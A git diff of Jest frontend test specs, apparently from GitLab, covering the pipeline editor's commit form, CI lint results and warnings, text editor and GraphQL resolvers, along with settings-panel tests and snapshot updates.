- it('closing modal with ok button triggers form submit', () => {
- createComponent();
- const form = wrapper.find('form');
- jest.spyOn(form.element, 'submit').mockReturnValue();
- wrapper.find(GlModal).vm.$emit('ok');
- return wrapper.vm.$nextTick().then(() => {
- expect(form.element.submit).toHaveBeenCalled();
- expect(form.element.action).toContain(wrapper.props('url'));
- expect(new FormData(form.element).get('authenticity_token')).toEqual(
- wrapper.props('csrfToken'),
- );
- });
- });
-});
diff --git a/spec/frontend/pages/import/bitbucket_server/components/bitbucket_server_status_table_spec.js b/spec/frontend/pages/import/bitbucket_server/components/bitbucket_server_status_table_spec.js
index 67ace608127..695d1b686a5 100644
--- a/spec/frontend/pages/import/bitbucket_server/components/bitbucket_server_status_table_spec.js
+++ b/spec/frontend/pages/import/bitbucket_server/components/bitbucket_server_status_table_spec.js
@@ -2,7 +2,7 @@ import { shallowMount } from '@vue/test-utils';
import { GlButton } from '@gitlab/ui';
import BitbucketServerStatusTable from '~/pages/import/bitbucket_server/status/components/bitbucket_server_status_table.vue';
-import BitbucketStatusTable from '~/import_projects/components/bitbucket_status_table.vue';
+import BitbucketStatusTable from '~/import_entities/import_projects/components/bitbucket_status_table.vue';
const BitbucketStatusTableStub = {
name: 'BitbucketStatusTable',
diff --git a/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap b/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap
index 8ccad7d5c22..324c9788309 100644
--- a/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap
+++ b/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap
@@ -10,7 +10,7 @@ exports[`Code Coverage when fetching data is successful matches the snapshot 1`]
<!---->
<gl-dropdown-stub
- category="tertiary"
+ category="primary"
headertext=""
size="medium"
text="rspec"
@@ -20,6 +20,7 @@ exports[`Code Coverage when fetching data is successful matches the snapshot 1`]
avatarurl=""
iconcolor=""
iconname=""
+ iconrightarialabel=""
iconrightname=""
ischecked="true"
ischeckitem="true"
@@ -34,6 +35,7 @@ exports[`Code Coverage when fetching data is successful matches the snapshot 1`]
avatarurl=""
iconcolor=""
iconname=""
+ iconrightarialabel=""
iconrightname=""
ischeckitem="true"
secondarytext=""
@@ -47,6 +49,7 @@ exports[`Code Coverage when fetching data is successful matches the snapshot 1`]
avatarurl=""
iconcolor=""
iconname=""
+ iconrightarialabel=""
iconrightname=""
ischeckitem="true"
secondarytext=""
diff --git a/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js b/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
index e760cead760..0b58260ed1c 100644
--- a/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
+++ b/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
@@ -21,11 +21,13 @@ const defaultProps = {
wikiAccessLevel: 20,
snippetsAccessLevel: 20,
pagesAccessLevel: 10,
+ analyticsAccessLevel: 20,
containerRegistryEnabled: true,
lfsEnabled: true,
emailsDisabled: false,
packagesEnabled: true,
showDefaultAwardEmojis: true,
+ allowEditingCommitMessages: false,
},
canDisableEmails: true,
canChangeVisibilityLevel: true,
@@ -49,7 +51,7 @@ describe('Settings Panel', () => {
let wrapper;
const mountComponent = (
- { currentSettings = {}, ...customProps } = {},
+ { currentSettings = {}, glFeatures = {}, ...customProps } = {},
mountFn = shallowMount,
) => {
const propsData = {
@@ -60,6 +62,9 @@ describe('Settings Panel', () => {
return mountFn(settingsPanel, {
propsData,
+ provide: {
+ glFeatures,
+ },
});
};
@@ -75,6 +80,8 @@ describe('Settings Panel', () => {
const findRepositoryFeatureSetting = () =>
findRepositoryFeatureProjectRow().find(projectFeatureSetting);
+ const findAnalyticsRow = () => wrapper.find({ ref: 'analytics-settings' });
+
beforeEach(() => {
wrapper = mountComponent();
});
@@ -539,4 +546,26 @@ describe('Settings Panel', () => {
expect(metricsSettingsRow.find('select').attributes('disabled')).toBe('disabled');
});
});
+
+ describe('Settings panel with feature flags', () => {
+ describe('Allow edit of commit message', () => {
+ it('should show the allow editing of commit messages checkbox', async () => {
+ wrapper = mountComponent({
+ glFeatures: { allowEditingCommitMessages: true },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find({ ref: 'allow-editing-commit-messages' }).exists()).toBe(true);
+ });
+ });
+ });
+
+ describe('Analytics', () => {
+ it('should show the analytics toggle', async () => {
+ await wrapper.vm.$nextTick();
+
+ expect(findAnalyticsRow().exists()).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/pipeline_editor/components/commit/commit_form_spec.js b/spec/frontend/pipeline_editor/components/commit/commit_form_spec.js
new file mode 100644
index 00000000000..ae2a9e5065d
--- /dev/null
+++ b/spec/frontend/pipeline_editor/components/commit/commit_form_spec.js
@@ -0,0 +1,116 @@
+import { shallowMount, mount } from '@vue/test-utils';
+import { GlFormInput, GlFormTextarea } from '@gitlab/ui';
+
+import CommitForm from '~/pipeline_editor/components/commit/commit_form.vue';
+
+import { mockCommitMessage, mockDefaultBranch } from '../../mock_data';
+
+describe('~/pipeline_editor/pipeline_editor_app.vue', () => {
+ let wrapper;
+
+ const createComponent = ({ props = {} } = {}, mountFn = shallowMount) => {
+ wrapper = mountFn(CommitForm, {
+ propsData: {
+ defaultMessage: mockCommitMessage,
+ defaultBranch: mockDefaultBranch,
+ ...props,
+ },
+
+ // attachToDocument is required for input/submit events
+ attachToDocument: mountFn === mount,
+ });
+ };
+
+ const findCommitTextarea = () => wrapper.find(GlFormTextarea);
+ const findBranchInput = () => wrapper.find(GlFormInput);
+ const findNewMrCheckbox = () => wrapper.find('[data-testid="new-mr-checkbox"]');
+ const findSubmitBtn = () => wrapper.find('[type="submit"]');
+ const findCancelBtn = () => wrapper.find('[type="reset"]');
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when the form is displayed', () => {
+ beforeEach(async () => {
+ createComponent();
+ });
+
+ it('shows a default commit message', () => {
+ expect(findCommitTextarea().attributes('value')).toBe(mockCommitMessage);
+ });
+
+ it('shows a default branch', () => {
+ expect(findBranchInput().attributes('value')).toBe(mockDefaultBranch);
+ });
+
+ it('shows buttons', () => {
+ expect(findSubmitBtn().exists()).toBe(true);
+ expect(findCancelBtn().exists()).toBe(true);
+ });
+
+ it('does not show a new MR checkbox by default', () => {
+ expect(findNewMrCheckbox().exists()).toBe(false);
+ });
+ });
+
+ describe('when buttons are clicked', () => {
+ beforeEach(async () => {
+ createComponent({}, mount);
+ });
+
+ it('emits an event when the form submits', () => {
+ findSubmitBtn().trigger('click');
+
+ expect(wrapper.emitted('submit')[0]).toEqual([
+ {
+ message: mockCommitMessage,
+ branch: mockDefaultBranch,
+ openMergeRequest: false,
+ },
+ ]);
+ });
+
+ it('emits an event when the form resets', () => {
+ findCancelBtn().trigger('click');
+
+ expect(wrapper.emitted('cancel')).toHaveLength(1);
+ });
+ });
+
+ describe('when user inputs values', () => {
+ const anotherMessage = 'Another commit message';
+ const anotherBranch = 'my-branch';
+
+ beforeEach(() => {
+ createComponent({}, mount);
+
+ findCommitTextarea().setValue(anotherMessage);
+ findBranchInput().setValue(anotherBranch);
+ });
+
+ it('shows a new MR checkbox', () => {
+ expect(findNewMrCheckbox().exists()).toBe(true);
+ });
+
+ it('emits an event with values', async () => {
+ await findNewMrCheckbox().setChecked();
+ await findSubmitBtn().trigger('click');
+
+ expect(wrapper.emitted('submit')[0]).toEqual([
+ {
+ message: anotherMessage,
+ branch: anotherBranch,
+ openMergeRequest: true,
+ },
+ ]);
+ });
+
+ it('when the commit message is empty, submit button is disabled', async () => {
+ await findCommitTextarea().setValue('');
+
+ expect(findSubmitBtn().attributes('disabled')).toBe('disabled');
+ });
+ });
+});
diff --git a/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js b/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js
new file mode 100644
index 00000000000..e9c6ed60860
--- /dev/null
+++ b/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js
@@ -0,0 +1,129 @@
+import { shallowMount, mount } from '@vue/test-utils';
+import { GlTable, GlLink } from '@gitlab/ui';
+import CiLintResults from '~/pipeline_editor/components/lint/ci_lint_results.vue';
+import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
+import { mockJobs, mockErrors, mockWarnings } from '../../mock_data';
+
+describe('CI Lint Results', () => {
+ let wrapper;
+ const defaultProps = {
+ valid: true,
+ jobs: mockJobs,
+ errors: [],
+ warnings: [],
+ dryRun: false,
+ lintHelpPagePath: '/help',
+ };
+
+ const createComponent = (props = {}, mountFn = shallowMount) => {
+ wrapper = mountFn(CiLintResults, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ const findTable = () => wrapper.find(GlTable);
+ const findByTestId = selector => () => wrapper.find(`[data-testid="ci-lint-${selector}"]`);
+ const findAllByTestId = selector => () => wrapper.findAll(`[data-testid="ci-lint-${selector}"]`);
+ const findLinkToDoc = () => wrapper.find(GlLink);
+ const findErrors = findByTestId('errors');
+ const findWarnings = findByTestId('warnings');
+ const findStatus = findByTestId('status');
+ const findOnlyExcept = findByTestId('only-except');
+ const findLintParameters = findAllByTestId('parameter');
+ const findBeforeScripts = findAllByTestId('before-script');
+ const findScripts = findAllByTestId('script');
+ const findAfterScripts = findAllByTestId('after-script');
+ const filterEmptyScripts = property => mockJobs.filter(job => job[property].length !== 0);
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('Invalid results', () => {
+ beforeEach(() => {
+ createComponent({ valid: false, errors: mockErrors, warnings: mockWarnings }, mount);
+ });
+
+ it('does not display the table', () => {
+ expect(findTable().exists()).toBe(false);
+ });
+
+ it('displays the invalid status', () => {
+ expect(findStatus().text()).toContain(`Status: ${wrapper.vm.$options.incorrect.text}`);
+ expect(findStatus().props('variant')).toBe(wrapper.vm.$options.incorrect.variant);
+ });
+
+ it('contains the link to documentation', () => {
+ expect(findLinkToDoc().text()).toBe('More information');
+ expect(findLinkToDoc().attributes('href')).toBe(defaultProps.lintHelpPagePath);
+ });
+
+ it('displays the error message', () => {
+ const [expectedError] = mockErrors;
+
+ expect(findErrors().text()).toBe(expectedError);
+ });
+
+ it('displays the warning message', () => {
+ const [expectedWarning] = mockWarnings;
+
+ expect(findWarnings().exists()).toBe(true);
+ expect(findWarnings().text()).toContain(expectedWarning);
+ });
+ });
+
+ describe('Valid results with dry run', () => {
+ beforeEach(() => {
+ createComponent({ dryRun: true }, mount);
+ });
+
+ it('displays table', () => {
+ expect(findTable().exists()).toBe(true);
+ });
+
+ it('displays the valid status', () => {
+ expect(findStatus().text()).toContain(wrapper.vm.$options.correct.text);
+ expect(findStatus().props('variant')).toBe(wrapper.vm.$options.correct.variant);
+ });
+
+ it('does not display only/expect values with dry run', () => {
+ expect(findOnlyExcept().exists()).toBe(false);
+ });
+
+ it('contains the link to documentation', () => {
+ expect(findLinkToDoc().text()).toBe('More information');
+ expect(findLinkToDoc().attributes('href')).toBe(defaultProps.lintHelpPagePath);
+ });
+ });
+
+ describe('Lint results', () => {
+ beforeEach(() => {
+ createComponent({}, mount);
+ });
+
+ it('formats parameter value', () => {
+ findLintParameters().wrappers.forEach((job, index) => {
+ const { stage } = mockJobs[index];
+ const { name } = mockJobs[index];
+
+ expect(job.text()).toBe(`${capitalizeFirstCharacter(stage)} Job - ${name}`);
+ });
+ });
+
+ it('only shows before scripts when data is present', () => {
+ expect(findBeforeScripts()).toHaveLength(filterEmptyScripts('beforeScript').length);
+ });
+
+ it('only shows script when data is present', () => {
+ expect(findScripts()).toHaveLength(filterEmptyScripts('script').length);
+ });
+
+ it('only shows after script when data is present', () => {
+ expect(findAfterScripts()).toHaveLength(filterEmptyScripts('afterScript').length);
+ });
+ });
+});
diff --git a/spec/frontend/pipeline_editor/components/lint/ci_lint_warnings_spec.js b/spec/frontend/pipeline_editor/components/lint/ci_lint_warnings_spec.js
new file mode 100644
index 00000000000..b441d26c146
--- /dev/null
+++ b/spec/frontend/pipeline_editor/components/lint/ci_lint_warnings_spec.js
@@ -0,0 +1,54 @@
+import { mount } from '@vue/test-utils';
+import { GlAlert, GlSprintf } from '@gitlab/ui';
+import { trimText } from 'helpers/text_helper';
+import CiLintWarnings from '~/pipeline_editor/components/lint/ci_lint_warnings.vue';
+
+const warnings = ['warning 1', 'warning 2', 'warning 3'];
+
+describe('CI lint warnings', () => {
+ let wrapper;
+
+ const createComponent = (limit = 25) => {
+ wrapper = mount(CiLintWarnings, {
+ propsData: {
+ warnings,
+ maxWarnings: limit,
+ },
+ });
+ };
+
+ const findWarningAlert = () => wrapper.find(GlAlert);
+ const findWarnings = () => wrapper.findAll('[data-testid="ci-lint-warning"]');
+ const findWarningMessage = () => trimText(wrapper.find(GlSprintf).text());
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('displays the warning alert', () => {
+ createComponent();
+
+ expect(findWarningAlert().exists()).toBe(true);
+ });
+
+ it('displays all the warnings', () => {
+ createComponent();
+
+ expect(findWarnings()).toHaveLength(warnings.length);
+ });
+
+ it('shows the correct message when the limit is not passed', () => {
+ createComponent();
+
+ expect(findWarningMessage()).toBe(`${warnings.length} warnings found:`);
+ });
+
+ it('shows the correct message when the limit is passed', () => {
+ const limit = 2;
+
+ createComponent(limit);
+
+ expect(findWarningMessage()).toBe(`${warnings.length} warnings found: showing first ${limit}`);
+ });
+});
diff --git a/spec/frontend/pipeline_editor/components/text_editor_spec.js b/spec/frontend/pipeline_editor/components/text_editor_spec.js
index 39d205839f4..18f71ebc95c 100644
--- a/spec/frontend/pipeline_editor/components/text_editor_spec.js
+++ b/spec/frontend/pipeline_editor/components/text_editor_spec.js
@@ -6,12 +6,16 @@ import TextEditor from '~/pipeline_editor/components/text_editor.vue';
describe('~/pipeline_editor/components/text_editor.vue', () => {
let wrapper;
+ const editorReadyListener = jest.fn();
- const createComponent = (props = {}, mountFn = shallowMount) => {
+ const createComponent = (attrs = {}, mountFn = shallowMount) => {
wrapper = mountFn(TextEditor, {
- propsData: {
+ attrs: {
value: mockCiYml,
- ...props,
+ ...attrs,
+ },
+ listeners: {
+ 'editor-ready': editorReadyListener,
},
});
};
@@ -28,14 +32,13 @@ describe('~/pipeline_editor/components/text_editor.vue', () => {
expect(findEditor().props('value')).toBe(mockCiYml);
});
- it('editor is readony and configured for .yml', () => {
- expect(findEditor().props('editorOptions')).toEqual({ readOnly: true });
+ it('editor is configured for .yml', () => {
expect(findEditor().props('fileName')).toBe('*.yml');
});
- it('bubbles up editor-ready event', () => {
+ it('bubbles up events', () => {
findEditor().vm.$emit('editor-ready');
- expect(wrapper.emitted('editor-ready')).toHaveLength(1);
+ expect(editorReadyListener).toHaveBeenCalled();
});
});
diff --git a/spec/frontend/pipeline_editor/graphql/__snapshots__/resolvers_spec.js.snap b/spec/frontend/pipeline_editor/graphql/__snapshots__/resolvers_spec.js.snap
new file mode 100644
index 00000000000..d7d4d0af90c
--- /dev/null
+++ b/spec/frontend/pipeline_editor/graphql/__snapshots__/resolvers_spec.js.snap
@@ -0,0 +1,73 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`~/pipeline_editor/graphql/resolvers Mutation lintCI lint data is as expected 1`] = `
+Object {
+ "__typename": "CiLintContent",
+ "errors": Array [],
+ "jobs": Array [
+ Object {
+ "__typename": "CiLintJob",
+ "afterScript": Array [
+ "echo 'after script 1",
+ ],
+ "allowFailure": false,
+ "beforeScript": Array [
+ "echo 'before script 1'",
+ ],
+ "environment": "prd",
+ "except": Object {
+ "refs": Array [
+ "master@gitlab-org/gitlab",
+ "/^release/.*$/@gitlab-org/gitlab",
+ ],
+ },
+ "name": "job_1",
+ "only": null,
+ "script": Array [
+ "echo 'script 1'",
+ ],
+ "stage": "test",
+ "tagList": Array [
+ "tag 1",
+ ],
+ "when": "on_success",
+ },
+ Object {
+ "__typename": "CiLintJob",
+ "afterScript": Array [
+ "echo 'after script 2",
+ ],
+ "allowFailure": true,
+ "beforeScript": Array [
+ "echo 'before script 2'",
+ ],
+ "environment": "stg",
+ "except": Object {
+ "refs": Array [
+ "master@gitlab-org/gitlab",
+ "/^release/.*$/@gitlab-org/gitlab",
+ ],
+ },
+ "name": "job_2",
+ "only": Object {
+ "__typename": "CiLintJobOnlyPolicy",
+ "refs": Array [
+ "web",
+ "chat",
+ "pushes",
+ ],
+ },
+ "script": Array [
+ "echo 'script 2'",
+ ],
+ "stage": "test",
+ "tagList": Array [
+ "tag 2",
+ ],
+ "when": "on_success",
+ },
+ ],
+ "valid": true,
+ "warnings": Array [],
+}
+`;
diff --git a/spec/frontend/pipeline_editor/graphql/resolvers_spec.js b/spec/frontend/pipeline_editor/graphql/resolvers_spec.js
index 90acdf3ec0b..b531f8af797 100644
--- a/spec/frontend/pipeline_editor/graphql/resolvers_spec.js
+++ b/spec/frontend/pipeline_editor/graphql/resolvers_spec.js
@@ -1,6 +1,14 @@
+import MockAdapter from 'axios-mock-adapter';
import Api from '~/api';
-import { mockProjectPath, mockDefaultBranch, mockCiConfigPath, mockCiYml } from '../mock_data';
-
+import {
+ mockCiConfigPath,
+ mockCiYml,
+ mockDefaultBranch,
+ mockLintResponse,
+ mockProjectPath,
+} from '../mock_data';
+import httpStatus from '~/lib/utils/http_status';
+import axios from '~/lib/utils/axios_utils';
import { resolvers } from '~/pipeline_editor/graphql/resolvers';
jest.mock('~/api', () => {
@@ -39,4 +47,43 @@ describe('~/pipeline_editor/graphql/resolvers', () => {
});
});
});
+
+ describe('Mutation', () => {
+ describe('lintCI', () => {
+ let mock;
+ let result;
+
+ const endpoint = '/ci/lint';
+
+ beforeEach(async () => {
+ mock = new MockAdapter(axios);
+ mock.onPost(endpoint).reply(httpStatus.OK, mockLintResponse);
+
+ result = await resolvers.Mutation.lintCI(null, {
+ endpoint,
+ content: 'content',
+ dry_run: true,
+ });
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
+
+ /* eslint-disable no-underscore-dangle */
+ it('lint data has correct type names', async () => {
+ expect(result.__typename).toBe('CiLintContent');
+
+ expect(result.jobs[0].__typename).toBe('CiLintJob');
+ expect(result.jobs[1].__typename).toBe('CiLintJob');
+
+ expect(result.jobs[1].only.__typename).toBe('CiLintJobOnlyPolicy');
+ });
+ /* eslint-enable no-underscore-dangle */
+
+ it('lint data is as expected', () => {
+ expect(result).toMatchSnapshot();
+ });
+ });
+ });
});
diff --git a/spec/frontend/pipeline_editor/mock_data.js b/spec/frontend/pipeline_editor/mock_data.js
index 96fa6e5e004..d882490c272 100644
--- a/spec/frontend/pipeline_editor/mock_data.js
+++ b/spec/frontend/pipeline_editor/mock_data.js
@@ -1,5 +1,8 @@
export const mockProjectPath = 'user1/project1';
export const mockDefaultBranch = 'master';
+export const mockNewMergeRequestPath = '/-/merge_requests/new';
+export const mockCommitId = 'aabbccdd';
+export const mockCommitMessage = 'My commit message';
export const mockCiConfigPath = '.gitlab-ci.yml';
export const mockCiYml = `
@@ -8,3 +11,97 @@ job1:
script:
- echo 'test'
`;
+
+export const mockCiConfigQueryResponse = {
+ data: {
+ ciConfig: {
+ errors: [],
+ stages: [],
+ status: '',
+ },
+ },
+};
+
+export const mockLintResponse = {
+ valid: true,
+ errors: [],
+ warnings: [],
+ jobs: [
+ {
+ name: 'job_1',
+ stage: 'test',
+ before_script: ["echo 'before script 1'"],
+ script: ["echo 'script 1'"],
+ after_script: ["echo 'after script 1"],
+ tag_list: ['tag 1'],
+ environment: 'prd',
+ when: 'on_success',
+ allow_failure: false,
+ only: null,
+ except: { refs: ['master@gitlab-org/gitlab', '/^release/.*$/@gitlab-org/gitlab'] },
+ },
+ {
+ name: 'job_2',
+ stage: 'test',
+ before_script: ["echo 'before script 2'"],
+ script: ["echo 'script 2'"],
+ after_script: ["echo 'after script 2"],
+ tag_list: ['tag 2'],
+ environment: 'stg',
+ when: 'on_success',
+ allow_failure: true,
+ only: { refs: ['web', 'chat', 'pushes'] },
+ except: { refs: ['master@gitlab-org/gitlab', '/^release/.*$/@gitlab-org/gitlab'] },
+ },
+ ],
+};
+
+export const mockJobs = [
+ {
+ name: 'job_1',
+ stage: 'build',
+ beforeScript: [],
+ script: ["echo 'Building'"],
+ afterScript: [],
+ tagList: [],
+ environment: null,
+ when: 'on_success',
+ allowFailure: true,
+ only: { refs: ['web', 'chat', 'pushes'] },
+ except: null,
+ },
+ {
+ name: 'multi_project_job',
+ stage: 'test',
+ beforeScript: [],
+ script: [],
+ afterScript: [],
+ tagList: [],
+ environment: null,
+ when: 'on_success',
+ allowFailure: false,
+ only: { refs: ['branches', 'tags'] },
+ except: null,
+ },
+ {
+ name: 'job_2',
+ stage: 'test',
+ beforeScript: ["echo 'before script'"],
+ script: ["echo 'script'"],
+ afterScript: ["echo 'after script"],
+ tagList: [],
+ environment: null,
+ when: 'on_success',
+ allowFailure: false,
+ only: { refs: ['branches@gitlab-org/gitlab'] },
+ except: { refs: ['master@gitlab-org/gitlab', '/^release/.*$/@gitlab-org/gitlab'] },
+ },
+];
+
+export const mockErrors = [
+ '"job_1 job: chosen stage does not exist; available stages are .pre, build, test, deploy, .post"',
+];
+
+export const mockWarnings = [
+ '"jobs:multi_project_job may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings"',
+];
diff --git a/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js b/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
index 46523baadf3..14d6b03645c 100644
--- a/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
+++ b/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
@@ -1,139 +1,445 @@
import { nextTick } from 'vue';
-import { shallowMount } from '@vue/test-utils';
-import { GlAlert, GlLoadingIcon, GlTabs, GlTab } from '@gitlab/ui';
+import { mount, shallowMount, createLocalVue } from '@vue/test-utils';
+import {
+ GlAlert,
+ GlButton,
+ GlFormInput,
+ GlFormTextarea,
+ GlLoadingIcon,
+ GlTabs,
+ GlTab,
+} from '@gitlab/ui';
+import waitForPromises from 'helpers/wait_for_promises';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
-import { mockProjectPath, mockDefaultBranch, mockCiConfigPath, mockCiYml } from './mock_data';
-import TextEditor from '~/pipeline_editor/components/text_editor.vue';
-import EditorLite from '~/vue_shared/components/editor_lite.vue';
+import { objectToQuery, redirectTo, refreshCurrentPage } from '~/lib/utils/url_utility';
+import {
+ mockCiConfigPath,
+ mockCiConfigQueryResponse,
+ mockCiYml,
+ mockCommitId,
+ mockCommitMessage,
+ mockDefaultBranch,
+ mockProjectPath,
+ mockNewMergeRequestPath,
+} from './mock_data';
+
+import CommitForm from '~/pipeline_editor/components/commit/commit_form.vue';
+import getCiConfig from '~/pipeline_editor/graphql/queries/ci_config.graphql';
import PipelineGraph from '~/pipelines/components/pipeline_graph/pipeline_graph.vue';
import PipelineEditorApp from '~/pipeline_editor/pipeline_editor_app.vue';
+import TextEditor from '~/pipeline_editor/components/text_editor.vue';
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ redirectTo: jest.fn(),
+ refreshCurrentPage: jest.fn(),
+ objectToQuery: jest.requireActual('~/lib/utils/url_utility').objectToQuery,
+ mergeUrlParams: jest.requireActual('~/lib/utils/url_utility').mergeUrlParams,
+}));
describe('~/pipeline_editor/pipeline_editor_app.vue', () => {
let wrapper;
- const createComponent = (
- { props = {}, data = {}, loading = false } = {},
+ let mockApollo;
+ let mockBlobContentData;
+ let mockCiConfigData;
+ let mockMutate;
+
+ const createComponent = ({
+ props = {},
+ blobLoading = false,
+ lintLoading = false,
+ options = {},
mountFn = shallowMount,
- ) => {
+ provide = {
+ glFeatures: {
+ ciConfigVisualizationTab: true,
+ },
+ },
+ } = {}) => {
+ mockMutate = jest.fn().mockResolvedValue({
+ data: {
+ commitCreate: {
+ errors: [],
+ commit: {},
+ },
+ },
+ });
+
wrapper = mountFn(PipelineEditorApp, {
propsData: {
- projectPath: mockProjectPath,
- defaultBranch: mockDefaultBranch,
ciConfigPath: mockCiConfigPath,
+ commitId: mockCommitId,
+ defaultBranch: mockDefaultBranch,
+ projectPath: mockProjectPath,
+ newMergeRequestPath: mockNewMergeRequestPath,
...props,
},
- data() {
- return data;
- },
+ provide,
stubs: {
GlTabs,
+ GlButton,
+ CommitForm,
+ EditorLite: {
+ template: '<div/>',
+ },
TextEditor,
},
mocks: {
$apollo: {
queries: {
content: {
- loading,
+ loading: blobLoading,
+ },
+ ciConfigData: {
+ loading: lintLoading,
},
},
+ mutate: mockMutate,
},
},
+ // attachToDocument is required for input/submit events
+ attachToDocument: mountFn === mount,
+ ...options,
});
};
+ const createComponentWithApollo = ({ props = {}, mountFn = shallowMount } = {}) => {
+ const handlers = [[getCiConfig, mockCiConfigData]];
+ const resolvers = {
+ Query: {
+ blobContent() {
+ return {
+ __typename: 'BlobContent',
+ rawData: mockBlobContentData(),
+ };
+ },
+ },
+ };
+
+ mockApollo = createMockApollo(handlers, resolvers);
+
+ const options = {
+ localVue,
+ mocks: {},
+ apolloProvider: mockApollo,
+ };
+
+ createComponent({ props, options }, mountFn);
+ };
+
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
const findAlert = () => wrapper.find(GlAlert);
+ const findBlobFailureAlert = () => wrapper.find(GlAlert);
const findTabAt = i => wrapper.findAll(GlTab).at(i);
- const findEditorLite = () => wrapper.find(EditorLite);
+ const findVisualizationTab = () => wrapper.find('[data-testid="visualization-tab"]');
+ const findTextEditor = () => wrapper.find(TextEditor);
+ const findCommitForm = () => wrapper.find(CommitForm);
+ const findPipelineGraph = () => wrapper.find(PipelineGraph);
+ const findCommitBtnLoadingIcon = () => wrapper.find('[type="submit"]').find(GlLoadingIcon);
beforeEach(() => {
- createComponent();
+ mockBlobContentData = jest.fn();
+ mockCiConfigData = jest.fn().mockResolvedValue(mockCiConfigQueryResponse);
});
afterEach(() => {
+ mockBlobContentData.mockReset();
+ mockCiConfigData.mockReset();
+ refreshCurrentPage.mockReset();
+ redirectTo.mockReset();
+ mockMutate.mockReset();
+
wrapper.destroy();
wrapper = null;
});
- it('displays content', () => {
- createComponent({ data: { content: mockCiYml } });
-
- expect(findLoadingIcon().exists()).toBe(false);
- expect(findEditorLite().props('value')).toBe(mockCiYml);
- });
-
- it('displays a loading icon if the query is loading', () => {
- createComponent({ loading: true });
+ it('displays a loading icon if the blob query is loading', () => {
+ createComponent({ blobLoading: true });
expect(findLoadingIcon().exists()).toBe(true);
+ expect(findTextEditor().exists()).toBe(false);
});
describe('tabs', () => {
- it('displays tabs and their content', () => {
- createComponent({ data: { content: mockCiYml } });
-
- expect(
- findTabAt(0)
- .find(EditorLite)
- .exists(),
- ).toBe(true);
- expect(
- findTabAt(1)
- .find(PipelineGraph)
- .exists(),
- ).toBe(true);
+ describe('editor tab', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('displays the tab and its content', async () => {
+ expect(
+ findTabAt(0)
+ .find(TextEditor)
+ .exists(),
+ ).toBe(true);
+ });
+
+ it('displays tab lazily, until editor is ready', async () => {
+ expect(findTabAt(0).attributes('lazy')).toBe('true');
+
+ findTextEditor().vm.$emit('editor-ready');
+
+ await nextTick();
+
+ expect(findTabAt(0).attributes('lazy')).toBe(undefined);
+ });
});
- it('displays editor tab lazily, until editor is ready', async () => {
- createComponent({ data: { content: mockCiYml } });
+ describe('visualization tab', () => {
+ describe('with feature flag on', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('display the tab', () => {
+ expect(findVisualizationTab().exists()).toBe(true);
+ });
+
+ it('displays a loading icon if the lint query is loading', () => {
+ createComponent({ lintLoading: true });
- expect(findTabAt(0).attributes('lazy')).toBe('true');
+ expect(findLoadingIcon().exists()).toBe(true);
+ expect(findPipelineGraph().exists()).toBe(false);
+ });
+ });
- findEditorLite().vm.$emit('editor-ready');
- await nextTick();
+ describe('with feature flag off', () => {
+ beforeEach(() => {
+ createComponent({ provide: { glFeatures: { ciConfigVisualizationTab: false } } });
+ });
- expect(findTabAt(0).attributes('lazy')).toBe(undefined);
+ it('does not display the tab', () => {
+ expect(findVisualizationTab().exists()).toBe(false);
+ });
+ });
});
});
- describe('when in error state', () => {
- class MockError extends Error {
- constructor(message, data) {
- super(message);
- if (data) {
- this.networkError = {
- response: { data },
- };
+ describe('when data is set', () => {
+ beforeEach(async () => {
+ createComponent({ mountFn: mount });
+
+ await wrapper.setData({
+ content: mockCiYml,
+ contentModel: mockCiYml,
+ });
+ });
+
+ it('displays content after the query loads', () => {
+ expect(findLoadingIcon().exists()).toBe(false);
+ expect(findTextEditor().attributes('value')).toBe(mockCiYml);
+ });
+
+ describe('commit form', () => {
+ const mockVariables = {
+ content: mockCiYml,
+ filePath: mockCiConfigPath,
+ lastCommitId: mockCommitId,
+ message: mockCommitMessage,
+ projectPath: mockProjectPath,
+ startBranch: mockDefaultBranch,
+ };
+
+ const findInForm = selector => findCommitForm().find(selector);
+
+ const submitCommit = async ({
+ message = mockCommitMessage,
+ branch = mockDefaultBranch,
+ openMergeRequest = false,
+ } = {}) => {
+ await findInForm(GlFormTextarea).setValue(message);
+ await findInForm(GlFormInput).setValue(branch);
+ if (openMergeRequest) {
+ await findInForm('[data-testid="new-mr-checkbox"]').setChecked(openMergeRequest);
}
- }
- }
+ await findInForm('[type="submit"]').trigger('click');
+ };
+
+ const cancelCommitForm = async () => {
+ const findCancelBtn = () => wrapper.find('[type="reset"]');
+ await findCancelBtn().trigger('click');
+ };
